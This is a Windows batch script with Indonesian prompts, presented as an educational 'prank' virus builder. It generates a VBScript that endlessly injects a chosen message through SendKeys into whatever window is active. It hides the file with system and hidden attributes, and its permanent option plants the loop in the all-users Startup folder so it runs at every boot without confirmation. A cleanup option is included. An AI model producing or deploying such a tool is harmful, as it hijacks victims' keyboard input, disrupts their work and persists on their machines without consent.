1@echo off
2title Windows Script Infector (Prank Script)
3setlocal enabledelayedexpansion
4
5:begin
6cls
7echo Windows Script Infector (Prank Script).
8echo For Education Only.
9echo.
10echo  ###########    ###########  ####     ### ####     ###  ####    #### 
11echo #############  ############# ######   ### ######   ###   ####  ####  
12echo           ### ###        ### #######  ### #######  ###    #### ###   
13echo ############# ###        ### ### #### ### ### #### ###     ######    
14echo ############  ####       ### ###  ####### ###  #######      ####     
15echo ###     ####   ############# ###    ##### ###    #####       ###     
16echo ###      ####   ##########   ###      ### ###      ###       ###     
17echo.
18echo ######################
19echo #  @RonnyTriAsmara   #
20echo # https://ronron.id/ #
21echo ######################
22echo Copyright (c) 2014 Ronny Tri Asmara. All rights reserved.
23echo.
24echo %date% %time%
25echo.
26echo Infector Menu:
27echo 1. Infeksi sementara.
28echo 2. Infeksi permanen. - Run as Administrator
29echo 3. Bersihkan virus.
30echo.
31
32:menu_input
33set "command="
34set /p command=Masukkan nomor pilihan yang diinginkan: 
35if "%command%"=="1" goto sementara
36if "%command%"=="2" goto permanen
37if "%command%"=="3" goto cleaner
38echo Kesalahan! Harap masukkan nomor yang benar.
39pause
40goto begin
41
42:sementara
43echo Memeriksa file...
44timeout /t 2 /nobreak >nul
45
46if exist "D:\boot.vbs" (
47    call :confirm_update "D:\boot.vbs" sementara_update
48    if errorlevel 1 goto begin
49) else (
50    goto sementara_update
51)
52
53:sementara_update
54echo.
55echo Memulai proses infeksi sementara...
56echo.
57
58:input_message_sementara
59set "message="
60set /p message=Masukkan pesan yang ingin ditampilkan: 
61call :validate_message
62if errorlevel 1 goto input_message_sementara
63
64echo.
65echo Membuat rangkaian virus...
66timeout /t 2 /nobreak >nul
67
68:: Hapus file lama jika ada (dengan aman)
69if exist "D:\boot.vbs" (
70    attrib -s -h "D:\boot.vbs" 2>nul
71    del /q /f "D:\boot.vbs" 2>nul
72)
73
74:: Sanitasi pesan: ganti tanda kutip ganda dengan dua tanda kutip (untuk VBS)
75set "safe_message=!message:"=""!"
76
77(
78echo set wshshell = wscript.createobject("wscript.shell"^)
79echo warning = msgbox("Mulai lakukan aktivasi virus?",vbexclamation+vbokcancel,"Peringatan!"^)
80echo if warning=vbok then
81echo   msgbox "Virus telah aktif!",vbinformation+vbokonly,"Informasi"
82echo   do
83echo     wscript.sleep 100
84echo     wshshell.sendkeys " !safe_message! "
85echo   loop
86echo else
87echo   cancel = 1
88echo   msgbox "Aktivasi virus dibatalkan.",vbcritical+vbokonly,"Batal"
89echo end if
90) > "D:\boot.vbs"
91
92attrib +s +h "D:\boot.vbs"
93echo.
94echo Rangkaian virus selesai. Menjalankan virus...
95start "" "D:\boot.vbs"
96echo.
97pause
98goto begin
99
100:permanen
101:: Cek apakah dijalankan sebagai administrator (sederhana)
102net session >nul 2>&1
103if %errorlevel% neq 0 (
104    echo.
105    echo Anda perlu menjalankan script ini sebagai administrator untuk opsi ini.
106    echo Klik kanan dan pilih "Run as administrator".
107    pause
108    goto begin
109)
110
111echo Memeriksa file...
112timeout /t 2 /nobreak >nul
113
114set "startup_path=%programdata%\Microsoft\Windows\Start Menu\Programs\Startup\boot.vbs"
115
116if exist "!startup_path!" (
117    call :confirm_update "!startup_path!" permanen_update
118    if errorlevel 1 goto begin
119) else (
120    goto permanen_update
121)
122
123:permanen_update
124echo.
125echo Memulai proses infeksi permanen...
126echo.
127
128:input_message_permanen
129set "message="
130set /p message=Masukkan pesan yang ingin ditampilkan: 
131call :validate_message
132if errorlevel 1 goto input_message_permanen
133
134echo.
135echo Membuat rangkaian virus...
136timeout /t 2 /nobreak >nul
137
138:: Hapus file lama jika ada
139if exist "!startup_path!" (
140    del /q /f "!startup_path!" 2>nul
141)
142
143:: Sanitasi pesan
144set "safe_message=!message:"=""!"
145
146(
147echo set wshshell = wscript.createobject("wscript.shell"^)
148echo do
149echo   wscript.sleep 100
150echo   wshshell.sendkeys " !safe_message! "
151echo loop
152) > "!startup_path!"
153
154echo.
155echo Rangkaian virus selesai.
156echo Virus akan otomatis aktif setelah komputer restart.
157echo.
158pause
159goto begin
160
161:cleaner
162echo Memeriksa komputer...
163timeout /t 2 /nobreak >nul
164echo.
165
166:: Matikan proses wscript.exe yang mungkin menjalankan virus
167taskkill /f /im wscript.exe 2>nul
168
169set "found=0"
170if exist "D:\boot.vbs" (
171    echo Menghapus D:\boot.vbs...
172    attrib -s -h "D:\boot.vbs" 2>nul
173    del /q /f "D:\boot.vbs" 2>nul && set found=1
174)
175set "startup_path=%programdata%\Microsoft\Windows\Start Menu\Programs\Startup\boot.vbs"
176if exist "!startup_path!" (
177    echo Menghapus !startup_path!...
178    del /q /f "!startup_path!" 2>nul && set found=1
179)
180
181if %found%==0 (
182    echo Tidak ada virus yang terdeteksi.
183) else (
184    echo.
185    echo Virus telah dibersihkan.
186)
187echo.
188pause
189goto begin
190
191:cancel
192echo.
193pause
194goto begin
195
196:confirm_update
197:: Parameter: %1 = path file, %2 = label tujuan jika update
198set "ask="
199set /p ask=Virus sudah terpasang. Apakah anda ingin memperbaharuinya? (y/n): 
200if /i "!ask!"=="y" goto :%2
201if /i "!ask!"=="n" exit /b 1
202echo Error! Anda memasukkan perintah yang salah.
203pause
204goto confirm_update
205
206:validate_message
207:: Memvalidasi bahwa message hanya berisi huruf, angka, spasi, dan panjang <=50
208:: Return errorlevel 0 jika valid, 1 jika tidak
209if not defined message (
210    echo Pesan tidak boleh kosong.
211    exit /b 1
212)
213:: Cek panjang maksimal 50 karakter
214if not "!message:~50!"=="" (
215    echo Pesan terlalu panjang. Maksimal 50 karakter.
216    exit /b 1
217)
218:: Cek karakter ilegal (selain huruf, angka, spasi)
219echo(!message!| findstr /r "[^a-zA-Z0-9 ]" >nul
220if not errorlevel 1 (
221    echo Pesan hanya boleh berisi huruf, angka, dan spasi.
222    exit /b 1
223)
224exit /b 0